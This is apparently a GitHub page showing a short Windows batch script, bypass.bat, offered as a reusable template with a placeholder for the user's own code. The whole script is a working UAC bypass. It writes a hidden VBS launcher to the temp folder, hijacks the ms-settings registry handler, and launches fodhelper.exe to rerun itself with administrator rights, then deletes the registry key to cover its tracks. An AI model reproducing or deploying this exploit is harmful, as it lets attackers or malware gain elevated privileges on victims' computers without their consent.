-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathbypass.bat
29 lines (25 loc) · 889 Bytes
/
bypass.bat
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
@echo off
net session >nul 2>&1
if %errorlevel% neq 0 (
goto :bypass
)
REM ADD Your code below
pause
:bypass
cd %temp%
echo "%~f0">help.bat
echo Set WshShell = CreateObject("WScript.Shell") > run.vbs
echo Function RunCommand(cmd) >> run.vbs
echo Dim temp >> run.vbs
echo temp = Replace(cmd, " ", Chr(32)) >> run.vbs
echo RunCommand = temp >> run.vbs
echo End Function >> run.vbs
echo WshShell.Run RunCommand("cmd /c cd %temp% & help.bat"), 0, False >> run.vbs
echo Set WshShell = Nothing >> run.vbs
set "payload=wscript.exe %temp%\run.vbs"
echo %payload%
reg add "HKCU\Software\Classes\ms-settings\shell\open\command" /ve /t REG_SZ /d "%payload%" /f
reg add "HKCU\Software\Classes\ms-settings\shell\open\command" /v "DelegateExecute" /t REG_SZ /d "" /f
start fodhelper.exe
timeout /t 5 /nobreak >nul
reg delete "HKCU\Software\Classes\ms-settings\shell\open\command" /f